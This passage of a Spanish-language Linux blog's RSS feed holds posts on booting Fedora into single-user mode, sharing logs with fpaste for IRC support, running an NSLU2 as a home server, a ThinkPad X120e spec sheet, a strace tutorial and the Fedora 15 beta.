hecho una practica sobre este tema.&lt;/p&gt;
&lt;p&gt;Aquí les dejo un video de parte de mi presentación donde le explico a un
miembro del LUG sobre el NSLU2. Me despido muy agradecido con Jonathan
Respeto del &lt;a class="reference external" href="http://southdadelug.org"&gt;southdadelug.org&lt;/a&gt; por su invitación a este evento y pueden
descargar &lt;a class="reference external" href="http://orvtech.info/wp-content/uploads/LUG-presentation-EN.pdf"&gt;aqui mi presentación en formato PDF&lt;/a&gt;.&lt;/p&gt;
&lt;div style="text-align:center;"&gt;&lt;embed src="http://blip.tv/play/AYLBulMA" type="application/x-shockwave-flash" width="614" height="489" wmode="transparent" allowscriptaccess="always" allowfullscreen="true"&gt;&lt;/embed&gt;&lt;/div&gt;&lt;p&gt;Si te pareció interesante este articulo, tal vez este otro también te
interese: &lt;a class="reference external" href="http://orvtech.com/general/reunion-south-date-lug-septiembre/"&gt;Reunión de septiembre en el LUG de Miami&lt;/a&gt;&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Sun, 12 Jun 2011 23:59:00 -0700</pubDate><guid>tag:orvtech.com,2011-06-12:regreso-al-lug.html</guid><category>BASH</category><category>Linux</category><category>livecast</category><category>LUG</category><category>NSLU2</category><category>Proyecto Fedora</category><category>Videos</category></item><item><title>Iniciando bajo single user mode, fpaste y pedir ayuda en #fedora-latam</title><link>http://orvtech.com/iniciar-modo-singleuse.html</link><description>&lt;p&gt;El modo de single user (usuario individual) un modo en el cual un
sistema operativo multi-usuarios es iniciado en modo de super usuario.
Por lo general se usa para mantenimientos. En Linux es muy popular
iniciar en este modo para cambiar el password del usuario.&lt;/p&gt;
&lt;p&gt;Aquí les dejo los pasos para arrancar Fedora (y la mayoría de las
distribuciones de linux) en modo single user.&lt;/p&gt;
&lt;ol class="arabic"&gt;
&lt;li&gt;&lt;p class="first"&gt;Al momento de arrancar presiona 'TAB' y seleccionamos el kernel desde el cual queremos arrancar en caso de que tengamos varios. deberías de ver una pantalla como esta:
&lt;a class="reference external" href="http://orvtech.com/howto/iniciar-modo-singleuse/"&gt;&lt;img alt="Seleccionamos la primera opción de arranque de Fedora Linux y presionamos la tecla e para editarla" src="http://orvtech.info/2011/06/single_user_mode-0.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;dl class="first docutils"&gt;
&lt;dt&gt;Presiona la tecla E para editar esta entrada en el menú de grub y selecciona la segunda linea, la que comienza con la palabra kernel.&lt;/dt&gt;
&lt;dd&gt;&lt;p class="first last"&gt;&lt;a class="reference external" href="http://orvtech.com/howto/iniciar-modo-singleuse/"&gt;&lt;img alt="Es esta segunda linea que vamos a editar" src="http://orvtech.info/2011/06/single_user_mode-2.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;/li&gt;
&lt;li&gt;&lt;dl class="first docutils"&gt;
&lt;dt&gt;Presiona E para que puedas editar esa linea y agregar la palabra single al final de la linea.&lt;/dt&gt;
&lt;dd&gt;&lt;p class="first last"&gt;&lt;a class="reference external" href="http://orvtech.com/howto/iniciar-modo-singleuse/"&gt;&lt;img alt="Asi se ve el inicio de la linea que vamos a editar en la configuración de grub" src="http://orvtech.info/2011/06/single_user_mode-3.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;Aquí vamos a editar los parámetros que se le pasa al kernel, podemos borrar quiet y rhgb&lt;/dt&gt;
&lt;dd&gt;&lt;p class="first last"&gt;&lt;a class="reference external" href="http://orvtech.com/howto/iniciar-modo-singleuse/"&gt;&lt;img alt="Aquí vamos a editar los parámetros que se le pasa al kernel, podemos borrar quiet y rhgb" src="http://orvtech.info/2011/06/single_user_mode-4.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;Le pasamos el parámetro single al kernel en el grub&lt;/dt&gt;
&lt;dd&gt;&lt;p class="first last"&gt;&lt;a class="reference external" href="http://orvtech.com/howto/iniciar-modo-singleuse/"&gt;&lt;img alt="Le pasamos el parámetro single al kernel en el grub" src="http://orvtech.info/2011/06/single_user_mode-5.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;/li&gt;
&lt;li&gt;&lt;dl class="first docutils"&gt;
&lt;dt&gt;Presiona ENTER para finalizar la edición de parámetros del kernel. Seguidamente presiona la tecla B para arrancar esa entrada del grub en modo single user. Como ven, ejecutando el comando &lt;tt class="docutils literal"&gt;who &lt;span class="pre"&gt;-r&lt;/span&gt;&lt;/tt&gt; muestra en que nivel estamos, en este caso estamos en single.&lt;/dt&gt;
&lt;dd&gt;&lt;p class="first last"&gt;&lt;a class="reference external" href="http://orvtech.com/howto/iniciar-modo-singleuse/"&gt;&lt;img alt="who -r nos muestra que estamos en single user mode" src="http://orvtech.info/2011/06/single_user_mode-7.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Una vez que iniciamos bajo modo single user, podemos iniciar el servicio
de red ejecutando &lt;tt class="docutils literal"&gt;/etc/init.d/network start&lt;/tt&gt;. Suficiente para usar
&lt;tt class="docutils literal"&gt;fpaste&lt;/tt&gt; y &lt;tt class="docutils literal"&gt;irssi&lt;/tt&gt; y consultar cualquier duda que tengamos en el
canal &lt;em&gt;#fedora&lt;/em&gt; del servidor &lt;em&gt;irc.freenode.net&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Supongamos que necesitamos soporte por que nuestra laptop no termina de
iniciar. Algo que podemos hacer es iniciar en mode single user, arrancar
el servicio de red y ejecutar &lt;tt class="docutils literal"&gt;cat /var/log/messages | fpaste&lt;/tt&gt; luego
ejecutamos &lt;tt class="docutils literal"&gt;irssi &lt;span class="pre"&gt;-c&lt;/span&gt; irc.freenode.net&lt;/tt&gt; y nos unimos al canal de Fedora
LATAM con el comando &lt;tt class="docutils literal"&gt;/j &lt;span class="pre"&gt;#fedora-latam&lt;/span&gt;&lt;/tt&gt;, allí podemos compartir la URL
que nos dio como resultado el comando fpaste.&lt;/p&gt;
&lt;p&gt;Existe aun un nivel mas bajo que single user mode donde no se montan particiones en modo escritura. Es un nivel mucho mas básico. Para entrar
en este nivel es necesario pasarle al kernel el parámetro &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;init=/bin/bash&lt;/span&gt;&lt;/tt&gt; en vez de pasarle single.
&lt;a class="reference external" href="http://orvtech.com/howto/iniciar-modo-singleuse/"&gt;&lt;img alt="Le pasamos el parámetro init con el valor /bin/bash al kernel en el grub" src="http://orvtech.info/2011/06/single_user_mode-6.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Un nivel mas bajo que single. Bajo init=/bin/bash el comando who no reporta en que nivel estamos.
&lt;a class="reference external" href="http://orvtech.com/howto/iniciar-modo-singleuse/"&gt;&lt;img alt="Un nivel mas bajo que single. Bajo /bin/bash el comando who no reporta en que nivel estamos" src="http://orvtech.info/2011/06/single_user_mode-8.png" /&gt;&lt;/a&gt;&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Sat, 11 Jun 2011 23:59:00 -0700</pubDate><guid>tag:orvtech.com,2011-06-11:iniciar-modo-singleuse.html</guid><category>BASH</category><category>Linux</category><category>Proyecto Fedora</category><category>tips</category></item><item><title>Un servidor casero, completo y económico con Linux</title><link>http://orvtech.com/servidor-completo-casero-economico-linux.html</link><description>&lt;p&gt;Hoy quiero retomar el tema del NSLU2, el tema de un servidor casero,
silencioso y económico. El NSLU2 es un dispositivo que Linksys saco al
mercado como un simple NAS sin muchas funciones que se diga pero gracias
a esfuerzos de la comunidad se ha podido convertir en un servidor
completo. Para Nosotros, los que nos gusta meterle Linux a cualquier
cosa que consuma electricidad y tenga conectividad a internet le
llamamos de cariño &amp;quot;Slug&amp;quot;.&lt;/p&gt;
&lt;p&gt;El Slug es una solución completa, barata para jugar con Linux embebido y
lo mejor de todo es que el firmware original de Linksys usas el Kernel
de Linux por lo tanto liberan el código fuente. Hoy en día aunque ya no
tienen tanta actividad Unslung y OpenSlug siguen siendo las principales
comunidades orientadas al NSLU2.&lt;/p&gt;
&lt;p&gt;Debido a que ya esta descontinuado el NSLU2 no se puede comprar directo
en las tiendas si en las que se puede lo cobran excesivamente caro. La
solución es comprarlo por vías alternas como eBay, craigslist, etc.&lt;/p&gt;
&lt;p&gt;Mi experiencia con el NSLU2 en cuanto a sistemas operativos se limita a
Gentoo y Debian, particularmente prefiero Gentoo para este dispositivo
ahora que Fedora esta empezando a desarrollar para ARM seria interesante
intentar compilarlo para el NSLU2.&lt;/p&gt;
&lt;p&gt;El NSLU2 viene limitado a correr a 133MHz pero su procesador en
realidad es de 266MHz, para liberarlo es necesario eliminar un
transistor. Así que sin miedo desconecten el cable de poder, abran la
carcasa y eliminen este transistor:&lt;/p&gt;
&lt;a class="reference external image-reference" href="http://orvtech.info/2011/05/minime1.jpg"&gt;&lt;img alt="" class="align-center" src="http://orvtech.info/2011/05/head_deunderclocked_NSLU2.jpg" style="width: 761.6px;" /&gt;&lt;/a&gt;
&lt;p&gt;Como servidor web con sus 266MHz (liberado desde 133MHz) y tan solo 32MB
de RAM no es exactamente el tipo de servidores que usaríamos en para
hostear el landing page de fedoraproyect.org o el wiki de Fedora pero si
podemos tener nuestro blog personal corriendo en conjunto con otros
servicios.&lt;/p&gt;
&lt;a class="reference external image-reference" href="http://orvtech.info/2011/05/minime1.jpg"&gt;&lt;img alt="" class="align-center" src="http://orvtech.info/2011/05/minime1.jpg" style="width: 680.0px;" /&gt;&lt;/a&gt;
&lt;a class="reference external image-reference" href="http://orvtech.info/2011/05/minime4.jpg"&gt;&lt;img alt="" class="align-center" src="http://orvtech.info/2011/05/minime4.jpg" style="width: 680.0px;" /&gt;&lt;/a&gt;
&lt;a class="reference external image-reference" href="http://orvtech.info/2011/05/minime5.jpg"&gt;&lt;img alt="" class="align-center" src="http://orvtech.info/2011/05/minime5.jpg" style="width: 680.0px;" /&gt;&lt;/a&gt;
&lt;a class="reference external image-reference" href="http://orvtech.info/2011/05/minime6.jpg"&gt;&lt;img alt="" class="align-center" src="http://orvtech.info/2011/05/minime6.jpg" style="width: 680.0px;" /&gt;&lt;/a&gt;
&lt;a class="reference external image-reference" href="http://orvtech.info/2011/05/minime7.jpg"&gt;&lt;img alt="" class="align-center" src="http://orvtech.info/2011/05/minime7.jpg" style="width: 680.0px;" /&gt;&lt;/a&gt;
&lt;a class="reference external image-reference" href="http://orvtech.info/2011/05/minime8.jpg"&gt;&lt;img alt="" class="align-center" src="http://orvtech.info/2011/05/minime8.jpg" style="width: 680.0px;" /&gt;&lt;/a&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;El NSLU2 no es la única opción en el mercado, pero es la mejor si
tomamos en consideración el costo, al cabo de un anho de estar prendido
24/7 y los beneficios que obtenemos a cambio. Entre las alternativas que
les puedo comentar están el DSM-G600 de D-LINK que cuesta alrededor de
$50 y la primera versión del Apple TV por $110.&lt;/p&gt;
&lt;img alt="" class="align-center" src="http://orvtech.info/2011/05/ebay-nslu2-1.jpg" style="width: 675.4px;" /&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;El DSM-G600 es rápido, tiene un procesador de 266MHZ al igual que el
NSLU2 pero tiene 64MB de RAM y el almacenamiento es vía IDE en vez de
USB 2.0. Lo malo de este dispositivo es que requiere de un ventilador
para mantenerlo fresco y sacar el calor que genera el CPU y el disco
duro en la carcasa.&lt;/p&gt;
&lt;p&gt;La primera versión del AppleTV debería de ser mas rápida aun con su
procesador de 1 GHz Intel &amp;quot;Crofton&amp;quot; Pentium M, 256 MB a 400 MHz DDR2 de
memoria RAM y almacenamiento mas rápido que el NSLU2. No tengo mas que
comentarles respecto a este candidato para servidor porque lo tengo
corriendo con XBMC y lo tengo como media center hasta que le consiga
remplazo (un google tv?).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Se le puede montar wordpress, joomla o algo así?&lt;/strong&gt;
No, créanme intente correr wordpress con 3 plugins distintos para la
DB, intente usar sqlite3 y otros plugins para minimizar la carga de la
DB pero no logre correr el blog que soportara mas de 3 conexiones
simultaneas.&lt;/p&gt;
&lt;p&gt;La buena noticia es que existen alternativas, en mi caso termine por
usar Nanoblogger. Nanoblogger es un manejador de contenido que genera
contenido estático esto reduce bastante la carga en el NSLU2.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CGI en BASH?&lt;/strong&gt;
No es tan halado de los cabellos como muchos piensan. Yo lo uso para
cosas puntuales como una interfaz web para agregar artículos a
Nanoblogger o mantener una URL (por ejemplo orvtech.com/ultima.bash
siempre apuntando a la ultima URL que ya publicamos).&lt;/p&gt;
&lt;p&gt;El limite de lo que puedes hacer con el NSLU2 es como el de Linux, te lo
pones tu. Para mi no tiene limites, siempre hay una alternativa a lo que
se puede hacer con maquinas potentes, para muestra aquí les dejo una
lista de cosas interesantes que he hecho con el NSLU2:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p class="first"&gt;Transmisión en vivo de imágenes: Con una demora de tres a cinco
minutos un conjunto de scripts corriendo en el NSLU2 puede ser usado
para cubrir eventos como el FLISOL, FUDcon, Google IO, eventos
deportivos y convenciones en genera. La cobertura puede ser hecha por
cualquiera con un dispositivo capaz de tomar fotos y enviarlas por
email. Estos scripts manipulan estas imágenes insertando información
relevante al evento, por ejemplo mis scripts para cubrir carreras de
carros generan imágenes como esta:&lt;/p&gt;
&lt;img alt="" class="align-center" src="http://orvtech.info/2011/02/subylivecast1.jpg" style="width: 675.4px;" /&gt;
&lt;p&gt;Como ven, en la parte superior tengo la fecha, hora, temperatura y
presión atmosférica así como el logo en la parte inferior derecha.
Puedes leer mas de este tema pinchando &lt;a class="reference external" href="http://orvtech.com/livecast-script-transmision-vivo-fotos.html"&gt;aquí&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;Un puente de last.fm a gNewBook: Con un script hecho en BASH el NSLU2
puede actualizar nuestro estado en gNewBook.org con la ultima canción
escuchada en nuestro perfil de last.fm. Si quieres ver el script,
pincha &lt;a class="reference external" href="http://orvtech.com/de-last-fm-a-gnewbook.html"&gt;aqui&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;Comparte archivos vía torrents con tu propio tracker en el NSLU2:
Usando bittornado podemos configurar el NSLU2 para que sea un torrent
tracker. Para leer mas del tema puedes leer &lt;a class="reference external" href="http://orvtech.com/comparte-un-archivo-via-torrents-con-tu-propio-tracker.html"&gt;este articulo&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;Un reproductor de música inalámbrico: Este articulo es una traducción
de una mini-guia publicada por &amp;quot;POTUS Camacho&amp;quot;, basicamente te
explica como usar el NSLU2 y una tarjeta USB de bluetooh para
convertir el NSLU2 en un MP3 player inalámbrico. La traducción de
este articulo puede ser leída
&lt;a class="reference external" href="http://orvtech.com/audio_via_bluetooh_desde_el_nslu2.html"&gt;aqui&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Fri, 27 May 2011 13:30:00 -0700</pubDate><guid>tag:orvtech.com,2011-05-27:servidor-completo-casero-economico-linux.html</guid><category>BASH</category><category>CGI</category><category>FUDCon</category><category>Hacks</category><category>Linux</category><category>NSLU2</category><category>Proyecto Fedora</category></item><item><title>En Fotos: La Lenovo ThinkPad x120e</title><link>http://orvtech.com/me-llego-mi-lenovo-thinkpad-x120e.html</link><description>&lt;p&gt;Luego del fiasco de la HP DM1Z decidí comprarme comprarme el equivalente
de la marca Lenovo y la verdad es que no me arrepiento. La ThinkPad
X120e es la respuesta de Lenovo a las ultra portátiles de bajo costo y
alto rendimiento. Con una pantalla de 11.6 pulgadas y un procesador AMD
E-350 Fusion de 1.6HGz dual-core, un teclado envidiable por el resto de
las netbooks la X120e Lenovo ha logrado hacerme olvidar de mi
frustración con mi netbook anterior (la HP DM1Z).&lt;/p&gt;
&lt;p&gt;Al igual que la DM1Z, esta ThinkPad ofrece buenos gráficos, larga vida
de batería aunque a un costo un poco mas alto. Básicamente estas pagando
por calidad. Esta netbook se siente solida, no tiene el problema del
trackpad y aunque suene repetitivo, el teclado es comodisimo, aquí les
dejo unas fotos de cuando la recibí.&lt;/p&gt;
&lt;p&gt;[gallery]&lt;/p&gt;
&lt;p&gt;Este seria el resumen de las características técnicas de esta netbook o
playbook.&lt;/p&gt;
&lt;div style="text-align:center;"&gt;&lt;table border="1" class="docutils"&gt;
&lt;colgroup&gt;
&lt;col width="28%" /&gt;
&lt;col width="72%" /&gt;
&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;Precio:&lt;/td&gt;
&lt;td&gt;$399 / $579&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;CPU&lt;/td&gt;
&lt;td&gt;1.6GHz dual-core AMD Fusion E-350&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Memoria:&lt;/td&gt;
&lt;td&gt;RAM 4GB a 667MHz tipo DDR3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Disco Duro:&lt;/td&gt;
&lt;td&gt;320GB 7,200rpm&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Chipset&lt;/td&gt;
&lt;td&gt;ID1510 + SB800&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Gráficos:&lt;/td&gt;
&lt;td&gt;AMD Radeon HD 6310&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Sistema Operativo&lt;/td&gt;
&lt;td&gt;Windows 7 Pro. (64-bit). Se puede hacer el upgrade a Linux fácilmente.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Dimensiones:&lt;/td&gt;
&lt;td&gt;11.1x8.3 pulgadas&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Altura:&lt;/td&gt;
&lt;td&gt;0.6-1.2 Pulgadas&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Pantalla:&lt;/td&gt;
&lt;td&gt;11.6 pulgadas&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Peso / Peso con cargador:&lt;/td&gt;
&lt;td&gt;1.53 / 1.8 Kilos&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Tue, 17 May 2011 18:51:00 -0700</pubDate><guid>tag:orvtech.com,2011-05-17:me-llego-mi-lenovo-thinkpad-x120e.html</guid><category>AMD</category><category>Lenovo</category></item><item><title>Rastreando el problema con strace</title><link>http://orvtech.com/rastreando-el-problema-con-strace.html</link><description>&lt;p&gt;Tienes problemas para iniciar httpd y no hay errores en los logs?,
Tienes otro programa que que se congela y no tienes ni idea de que pueda
estar pasando? es buen momento para empezar a usar strace.&lt;/p&gt;
&lt;p&gt;Strace es una utilidad que se usa para &lt;a class="reference external" href="http://orvtech.com/problema-con-bluetooth-dm1z-pavillion.html"&gt;correr un comando y visualizar
todas sus interacciones con el sistema&lt;/a&gt; de forma que puedes ver
exactamente que esta haciendo el programa desde que inicia hasta que
sale incluso puede ser usado para hacer pruebas de rendimiento y
estabilidad. En este articulo lo usaremos solo como una herramienta de
diagnostico para ver por que un programa se congela.&lt;/p&gt;
&lt;p&gt;El comando strace es fácil de usar, simplemente ejecuta strace al iniciar el servicio o programa que deseas diagnosticar, por ejemplo:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;strace date
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Esto te debería de dar una salida de bastantes lineas en el terminal. Veamos que pasa cuando una aplicación da error, intentemos correr man sin ningún parámetro.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;man What manual page &lt;span class="k"&gt;do &lt;/span&gt;you want?
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ahora veamos que hace man para llegar a ese mensaje:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;execve&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/usr/bin/man&amp;quot;&lt;/span&gt;, &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;man&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;, &lt;span class="o"&gt;[&lt;/span&gt;/* 23 vars */&lt;span class="o"&gt;])&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; 0 brk&lt;span class="o"&gt;(&lt;/span&gt;0&lt;span class="o"&gt;)&lt;/span&gt;                                  &lt;span class="o"&gt;=&lt;/span&gt; 0x9e89000
mmap2&lt;span class="o"&gt;(&lt;/span&gt;NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; 0xb7869000
access&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/etc/ld.so.preload&amp;quot;&lt;/span&gt;, R_OK&lt;span class="o"&gt;)&lt;/span&gt;      &lt;span class="o"&gt;=&lt;/span&gt; -1 ENOENT &lt;span class="o"&gt;(&lt;/span&gt;No such file or directory&lt;span class="o"&gt;)&lt;/span&gt;
open&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/etc/ld.so.cache&amp;quot;&lt;/span&gt;, O_RDONLY&lt;span class="o"&gt;)&lt;/span&gt;      &lt;span class="o"&gt;=&lt;/span&gt; 3
fstat64&lt;span class="o"&gt;(&lt;/span&gt;3, &lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;st_mode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;S_IFREG|0644, &lt;span class="nv"&gt;st_size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;24131, ...&lt;span class="o"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; 0 ...
open&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/usr/share/locale/en_US.UTF-8/man&amp;quot;&lt;/span&gt;, O_RDONLY&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; -1 ENOENT &lt;span class="o"&gt;(&lt;/span&gt;No such file or directory&lt;span class="o"&gt;)&lt;/span&gt;
open&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/usr/share/locale/en_US.UTF-8/LC_MESSAGES/man&amp;quot;&lt;/span&gt;, O_RDONLY&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; -1 ENOENT &lt;span class="o"&gt;(&lt;/span&gt;No such file or directory&lt;span class="o"&gt;)&lt;/span&gt;
open&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/usr/share/locale/en/man&amp;quot;&lt;/span&gt;, O_RDONLY&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; 4
fstat64&lt;span class="o"&gt;(&lt;/span&gt;4, &lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;st_mode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;S_IFREG|0644, &lt;span class="nv"&gt;st_size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;5830, ...&lt;span class="o"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; 0
mmap2&lt;span class="o"&gt;(&lt;/span&gt;NULL, 5830, PROT_READ, MAP_PRIVATE, 4, 0&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; 0xb7865000
close&lt;span class="o"&gt;(&lt;/span&gt;4&lt;span class="o"&gt;)&lt;/span&gt;                                &lt;span class="o"&gt;=&lt;/span&gt; 0
write&lt;span class="o"&gt;(&lt;/span&gt;2, &lt;span class="s2"&gt;&amp;quot;What manual page do you want?\n&amp;quot;&lt;/span&gt;, 30&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; 30 ...
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Gracias a que man dio como salida &amp;quot;&lt;tt class="docutils literal"&gt;What manual page do you want?&lt;/tt&gt;&amp;quot;
sabemos cual es el error, pero si no nos hubiese dado este mensaje, como
sabemos lo que esta pasando? aquí es cuando strace nos ayuda. La salida
del strace es mucho mas larga que el párrafo que tenemos arriba pero lo
recorte solo para mostrar lo que nos interesa en este ejemplo. Si se
fijan el error &amp;quot;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;-1&lt;/span&gt; ENOENT (No such file or directory)&lt;/tt&gt;&amp;quot; se repite
unas tres veces esto en algunos casos es un indicativo de lo que puede
estar pasando.&lt;/p&gt;
&lt;p&gt;Identificar los errores es relativamente fácil, por lo general tienen un
-1 como salida y no todos los errores son fatales pero nos pueden dar
pistas de lo que este mal con el programa&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Algunos paramentos interesantes&lt;/strong&gt;
Puedes usar -u seguido del nombre del usuario para ejecutarlo como ese usuario en especifico cosa que es ideal para identificar
correctamente problemas de permisos y lo mas seguro es que estés
corriendo strace como root pero la mayoría de los servicios tienen sus
propios usuarios para correr.&lt;/p&gt;
&lt;p&gt;El parámetro -p seguido del PID es útil cuando el proceso que queremos
examinar ya esta corriendo.&lt;/p&gt;
&lt;p&gt;Personalmente suelo correrlo con estos parámetros:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;strace -f -F -v -s 8192  -o &amp;lt;archivo&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;-f Permite hacerle strace a los posibles forks que haga un programa,
por ejemplo httpd.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-F&lt;/strong&gt; Cumple la misma función que -f pero siempre lo pongo por
cuestión de costumbre.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-v&lt;/strong&gt; Nos da una salida detallada.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-s 8192&lt;/strong&gt; Asigno el valor de 8192 como limite de longitud de las
cadenas que se van a imprimir. Por defecto es 32 y yo quiero la mayor
cantidad de información posible.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-o&lt;/strong&gt; La salida va a ser redirigida a un archivo.&lt;/li&gt;
&lt;/ul&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Wed, 20 Apr 2011 12:38:00 -0700</pubDate><guid>tag:orvtech.com,2011-04-20:rastreando-el-problema-con-strace.html</guid><category>Linux</category><category>OSX</category><category>strace</category><category>tips</category></item><item><title>Fedora 15 entra en fase beta</title><link>http://orvtech.com/fedora-15-entra-en-fase-beta.html</link><description>&lt;div style="text-align:center;"&gt;&lt;p&gt;&lt;a class="reference external" href="http://orvtech.com/general/fedora-15-entra-en-fase-beta/"&gt;&lt;img alt="Fedora sale de su fase alfa y entra en beta" src="http://orvtech.info/2011/04/fedora-15-beta-head.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;p&gt;La popular distribución de Linux Fedora, ha anunciado hoy su cambio de
alfa a beta, aunque no es el método oficial, los usuarios Alfa pueden
ejecutar &lt;tt class="docutils literal"&gt;yum clean all&lt;/tt&gt; y seguidamente un &lt;tt class="docutils literal"&gt;yum upgrade&lt;/tt&gt; para
actualizar, si necesitan algo de documentación pueden revisar &lt;a class="reference external" href="http://fedoraproject.org/wiki/YumUpgradeFaq"&gt;Fedora
Project wiki: Yum Upgrade FAQ&lt;/a&gt; que aunque algo desactualizado
seguramente responderá a muchas de sus preguntas.&lt;/p&gt;
&lt;p&gt;La opción de menor problemática vendría siendo el instalar desde cero,
con un medio físico como CD, DVD o USB esto lo pueden hacer descargando
los archivos necesarios desde &lt;a class="reference external" href="http://torrent.fedoraproject.org/"&gt;http://torrent.fedoraproject.org/&lt;/a&gt;.&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;strong&gt;Vea también:&lt;/strong&gt;&lt;/div&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;a class="reference external" href="http://orvtech.com/general/fedora-en-el-hp-pavilion-dm1z"&gt;Fedora en el HP Pavilion DM1Z&lt;/a&gt;.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
